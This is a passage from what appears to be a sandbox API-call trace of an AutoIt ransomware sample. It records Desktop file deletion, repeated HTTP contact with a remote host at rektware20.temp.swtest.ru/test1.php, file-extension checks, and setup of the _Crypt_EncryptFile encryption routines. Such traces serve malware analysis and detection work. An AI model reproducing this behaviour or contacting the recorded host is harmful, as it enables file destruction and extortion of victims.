lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.722] CloseHandle (hObject=0x3d8) returned 1 [0075.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.722] CloseHandle (hObject=0x3d0) returned 1 [0075.726] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.726] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.726] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", lpFilePart=0x0) returned 0x2f [0075.726] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ichsivnvdq8nr.mkv")) returned 0x20 [0075.726] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0075.727] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\IchsIvNvdq8NR.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ichsivnvdq8nr.mkv")) returned 1 [0075.741] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.741] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0075.742] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.742] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.742] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.742] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.742] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0075.742] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0075.742] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.742] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.742] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.742] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.742] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.743] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0075.743] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.743] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.743] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.744] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.744] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.744] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.744] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.744] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.744] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.744] CloseHandle (hObject=0x0) returned 0 [0075.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ap_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mXMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XMg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mg0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MPMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PMR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MR.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.746] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.746] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.746] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.746] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.746] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.746] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.746] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.746] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.746] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ee1c) returned 1 [0075.746] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.746] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.746] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.746] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.746] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.746] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.747] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.747] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.747] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.747] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.747] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.747] CloseHandle (hObject=0x0) returned 0 [0075.748] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.748] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0075.748] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0075.748] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.748] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.748] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.748] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.748] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.748] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.749] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.749] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.749] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.749] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.749] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.749] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.749] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.750] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.750] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.750] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631ee0) returned 1 [0075.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.751] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.751] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.751] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.751] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.751] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.752] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.752] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.752] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.752] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.752] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.752] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.752] PeekMessageW (in: 